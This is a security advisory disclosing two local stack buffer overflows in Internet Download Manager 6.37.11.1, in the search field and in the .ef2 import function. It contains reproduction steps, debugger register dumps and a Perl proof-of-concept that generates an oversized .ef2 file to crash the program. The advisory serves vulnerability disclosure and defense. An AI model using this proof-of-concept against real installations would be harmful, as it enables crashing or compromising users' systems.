Document Title: =============== Internet Download Manager v6.37.11.1 - Stack Buffer Overflow Vulnerabilities References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2236 Release Date: ============= 2020-04-28 Vulnerability Laboratory ID (VL-ID): ==================================== 2236 Common Vulnerability Scoring System: ==================================== 7.1 Vulnerability Class: ==================== Buffer Overflow Current Estimated Price: ======================== 1.000€ - 2.000€ Product & Service Introduction: =============================== Internet Download Manager Corp. is a subsidiary of Tonec Inc. that develops Internet Applications since 1990. We have strong expertise in network programming, consulting and design services. Our company started Internet Download Manager project in 1998 when we where developing network libraries and console applications for accelerated files downloading. (Copy of the Homepage: https://www.internetdownloadmanager.com/support/about_us.html ) (Sofwtare Product: https://www.internetdownloadmanager.com/download.html) Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered a stack buffer overflow vulnerabilities in the Internet Download Manager v6.37.11.1 software. Vulnerability Disclosure Timeline: ================================== 2020-04-28: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Local Severity Level: =============== High Authentication Type: ==================== Restricted authentication (user/moderator) - User privileges User Interaction: ================= No User Interaction Disclosure Type: ================ Independent Security Research Technical Details & Description: ================================ Multiple stack buffer overflow vulnerabilities has been discovered in the official Internet Download Manager v6.37.11.1 software. The bufer overflow allows to overwrite registers of the process to compromise the file-system by elevates local process privileges. 1.1 The first stack buffer overflows is located in the `search` function of the downloads menu. The search function itself does not use any secure restriction in the requested search variable of the inputs. Local attackers with access to the software are able to overflow the registers to elevate local process privileges. Thus allows a local attacker to compromise the local computer- or file-system. 1.2 The second stack buffer overflows is located in the `Export/Import` function of the tasks menu. Local users are able to import and export the download tasks as *.ef2 file. Local attackers are able to import manipulated *.ef2 files with manipulated referer and source url to overwrite the eip register. The issue occurs because of the insufficient ef2 filetype (context) validation process that does not perform any length restrictions. The security risk of the local stack buffer overflow vulnerabilities in the software are estimated as high with a cvss count of 7.1. Exploitation of the buffer overflow vulnerability requires a low privilege or restricted system user account without user interaction. Successful exploitation of the vulnerability results in overwrite of the active registers to compromise of the computer system or process. Vulnerable Module(s): [+] Search [+] Import/Export (ef2) Proof of Concept (PoC): ======================= 1.1 The stack buffer overflow vulnerability can be exploited by local attackers with system user privileges without user interaction. For security demonstration or to reproduce the local vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Open the software 2. Click the downloads menu and open the search 3. Inject a large unicode payload inside the search input field and transmit 4. The software crashs with several uncaught exception because of overwritten register (0168D8F0) 5. Successful reproduce of the local buffer overflow vulnerability! --- Debug Logs (0168D8F0) --- 00d61850 668b08 mov cx,word ptr [eax] ds:002b:41414141 - 00D6186D |. 56 PUSH ESI ; /Arg1 - 00D61882 |. E8 59FFFFFF CALL IDMan.00D617E0 ; IDMan.00D617E0 - 00D6189B |> 50 PUSH EAX ; /Arg1 - 00D6189E |. E8 3DFFFFFF CALL IDMan.00D617E0 ; IDMan.00D617E0 - Call stack Address=0168C79C Stack=00DFE0F2 Procedure / arguments=IDMan.00D617E0 Called from=IDMan.00DFE0ED Frame=0168E02C - SEH chain Address SE handler 0168C790 IDMan.00F751E8 0168D8F0 41414141 - EAX 41414141 ECX 01680000 EDX 41414141 EBX 00000001 ESP 0168C76C EBP 0168E02C UNICODE "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..." ESI 0168C7AC UNICODE "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..." EDI 00410043 EIP 00D61850 IDMan.00D61850 Executable modules Base=00D60000 Size=00539000 (5476352.) Entry=00F5CB1C IDMan.<ModuleEntryPoint> Name=IDMan File version=6, 37, 11, 2 Path=C:Program Files (x86)Internet Download ManagerIDMan.exe 1.2 The stack buffer overflow vulnerability can be exploited by local attackers with system user privileges without user interaction. For security demonstration or to reproduce the local vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Open the software 2. Start the bof_poc.pl 3. Open the tasks menu 4. Click import and import *.ef2 poc Note: The software process crashs on import with uncaught exception 5. Successful reproduce of the local buffer overflow vulnerability! Usage Example: Export/Import (*.ef2) < https://www.vulnerability-lab.com/download_content.php?id=1337 referer: https://www.vulnerability-lab.com/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko > PoC: Exploit #!/usr/bin/perl # Local Stack Buffer Overflow Exploit for Internet Download Manager v6.37.11.1 # Vulnerability Laboratory - Benjamin Kunz Mejri my $poc = "bof_poc.ef2" ; print "[+] Producing bof_poc.ef2 ..." ; my $buff0=" "."<" x 1; my $buff1=" n https://"."A" x 1024; my $buff2=" n Referer:"."A" x 1024; my $buff3=" n User Agent:"."A" x 1024; my $buff4=" n ".">" x 1; open(ef2, ">>$poc") or die "Cannot open $poc"; print ef2 $buff0; print ef2 $buff1; print ef2 $buff2; print ef2 $buff3; print ef2 $buff4; close(ef2); print "n[+] done !"; Credits & Authors: ================== Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M. 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